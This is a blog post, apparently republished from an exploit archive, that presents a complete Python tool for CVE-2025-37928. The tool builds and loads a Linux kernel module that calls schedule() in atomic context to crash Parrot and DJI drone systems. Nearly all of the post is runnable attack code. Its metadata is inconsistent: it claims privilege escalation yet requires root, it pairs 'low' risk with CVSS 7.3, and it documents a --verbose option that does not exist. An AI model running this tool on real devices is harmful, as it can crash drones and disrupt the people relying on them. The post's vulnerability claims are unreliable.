Parrot和DJI无人机操作系统内核恐慌漏洞利用详解

本文详细分析了影响Parrot和DJI系列无人机操作系统的内核漏洞CVE-2025-37928,该漏洞由于在原子上下文中错误调用schedule()函数导致内核恐慌,提供了完整的Python漏洞利用代码和技术实现细节。

Parrot和DJI变种无人机操作系统内核恐慌漏洞利用

日期: 2025.06.26
作者: Mohammed Idrees Banyamer
风险等级: 低
利用类型: 本地利用
远程利用: 否
CVE编号: CVE-2025-37928
CWE编号: CWE-284

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
#!/usr/bin/env python3
# 漏洞标题: Parrot和DJI变种无人机操作系统 - 内核恐慌漏洞利用
# 作者: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# 日期: 2025-06-10
# 测试平台: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M
# CVE: CVE-2025-37928
# 类型: 本地权限提升 / 内核恐慌
# 平台: 基于Linux的无人机操作系统(Parrot和DJI变种)
# 作者国家: 约旦
# CVSS v3.1评分: 7.3(重要)
# 弱点: CWE-284: 不正确的访问控制
# 攻击向量: 本地
# 用户交互: 无
# 作用域: 未改变
# 机密性、完整性、可用性影响: 高(通过内核恐慌导致拒绝服务)
# 漏洞利用代码成熟度: 概念验证
# 修复级别: 官方修复已可用
#
# 描述:
# 此PoC通过在原子上下文中调用schedule()来触发内核恐慌,
# 利用存在于运行在Parrot QRD、Parrot Alpha-M、DJI QRD和
# DJI Alpha-M无人机操作系统上的某些Linux内核中的CVE-2025-37928漏洞。
#
# 利用步骤:
# 1. 检查是否以root权限运行
# 2. 验证内核版本漏洞
# 3. 从系统文件检测无人机类型
# 4. 构建并加载易受攻击的内核模块
# 5. 通过在原子上下文中调度调用schedule()的tasklet来触发内核恐慌
#
# 受影响的无人机版本:
# - Parrot QRD
# - Parrot Alpha-M (DT)
# - DJI QRD
# - DJI Alpha-M (DT)
#
# ------------------------------------------------------------------------------
# 使用方法:
#   sudo python3 cve_2025_37928_tool.py [选项]
#
# 选项:
#   --dry-run         仅运行检测和构建(不加载模块)
#   --force           即使内核未检测为易受攻击也强制利用
#   --cleanup-only    仅移除内核模块而不触发恐慌
#   --verbose         启用详细日志和调试输出
#   --help            显示使用信息
#
# 示例:
#   sudo python3 cve_2025_37928_tool.py --dry-run
#   sudo python3 cve_2025_37928_tool.py
#   sudo python3 cve_2025_37928_tool.py --force
#   sudo python3 cve_2025_37928_tool.py --cleanup-only
#
# 警告:
#   此PoC会导致立即的内核恐慌。
#   仅在隔离和受控环境(如实验室测试)中使用。
# ------------------------------------------------------------------------------

import os
import sys
import subprocess
import tempfile
import argparse
import shutil
import platform

MODULE_NAME = "cve_2025_37928_poc"
C_FILENAME = MODULE_NAME + ".c"
KO_FILENAME = MODULE_NAME + ".ko"

KERNEL_MODULE_CODE = r'''
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/interrupt.h>
#include <linux/sched.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("PoC Author");
MODULE_DESCRIPTION("PoC for CVE-2025-37928: schedule() in atomic context causes kernel panic");

static void trigger_panic_tasklet(unsigned long data)
{
    pr_alert("[CVE-2025-37928] Executing schedule() inside atomic context. This will panic!\n");
    schedule(); // 这会导致内核恐慌
}

DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0);

static int __init poc_init(void)
{
    pr_info("[CVE-2025-37928] Loading PoC module and scheduling tasklet...\n");
    tasklet_schedule(&my_tasklet);
    return 0;
}

static void __exit poc_exit(void)
{
    tasklet_kill(&my_tasklet);
    pr_info("[CVE-2025-37928] PoC module unloaded\n");
}

module_init(poc_init);
module_exit(poc_exit);
'''

MAKEFILE_CONTENT = f'''
obj-m += {MODULE_NAME}.o

all:
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
'''

def check_root():
    if os.geteuid() != 0:
        print("[-] Must be run as root.")
        sys.exit(1)

def detect_kernel():
    version = platform.release()
    vulnerable_versions = ["5.10", "5.15", "6.0"]
    vulnerable = any(v in version for v in vulnerable_versions)
    print(f"[i] Kernel version: {version} => {'VULNERABLE' if vulnerable else 'UNKNOWN/SAFE'}")
    return vulnerable

def detect_drone_type():
    print("[*] Detecting drone type...")
    files = ["/etc/drone_type", "/proc/device-tree/model", "/sys/firmware/devicetree/base/model"]
    found = []
    for path in files:
        if os.path.exists(path):
            try:
                with open(path, "r") as f:
                    content = f.read().strip()
                    if any(x in content for x in ["Parrot", "DJI"]):
                        found.append(content)
            except:
                continue
    if found:
        for d in found:
            print(f"  [i] Found: {d}")
    else:
        print("  [!] No drone ID found.")
    return found

def write_module(tempdir):
    c_path = os.path.join(tempdir, C_FILENAME)
    makefile_path = os.path.join(tempdir, "Makefile")
    with open(c_path, "w") as f:
        f.write(KERNEL_MODULE_CODE)
    with open(makefile_path, "w") as f:
        f.write(MAKEFILE_CONTENT)
    return c_path

def build_module(tempdir):
    print("[*] Building module...")
    result = subprocess.run(["make"], cwd=tempdir, capture_output=True, text=True)
    if result.returncode != 0:
        print("[-] Build failed:\n", result.stderr)
        sys.exit(1)
    print("[+] Build successful.")
    return os.path.join(tempdir, KO_FILENAME)

def load_module(ko_path):
    print("[*] Loading kernel module...")
    result = subprocess.run(["insmod", ko_path], capture_output=True, text=True)
    if result.returncode != 0:
        print("[-] insmod failed:\n", result.stderr)
        sys.exit(1)
    print("[!] Module loaded. Kernel panic should occur if vulnerable.")

def unload_module():
    print("[*] Attempting to remove module...")
    subprocess.run(["rmmod", MODULE_NAME], stderr=subprocess.DEVNULL)
    print("[+] Module removal attempted.")

def clean_build(tempdir):
    subprocess.run(["make", "clean"], cwd=tempdir, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-37928 Kernel Panic Exploit Tool for Drone OSes")
    parser.add_argument("--dry-run", action="store_true", help="Only simulate and check environment, no exploitation")
    parser.add_argument("--force", action="store_true", help="Force execution even if version unknown")
    parser.add_argument("--cleanup-only", action="store_true", help="Just remove kernel module if loaded")

    args = parser.parse_args()
    check_root()

    if args.cleanup_only:
        unload_module()
        return

    vulnerable = detect_kernel()
    detect_drone_type()

    if not vulnerable and not args.force:
        print("[-] Kernel not identified as vulnerable. Use --force to override.")
        sys.exit(1)

    if args.dry_run:
        print("[*] Dry run mode. Exiting before exploitation.")
        return

    with tempfile.TemporaryDirectory() as tempdir:
        print(f"[*] Working directory: {tempdir}")
        write_module(tempdir)
        ko_path = build_module(tempdir)

        try:
            load_module(ko_path)
        except KeyboardInterrupt:
            print("[!] Interrupted. Attempting cleanup...")
        finally:
            unload_module()
            clean_build(tempdir)

if __name__ == "__main__":
    main()
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计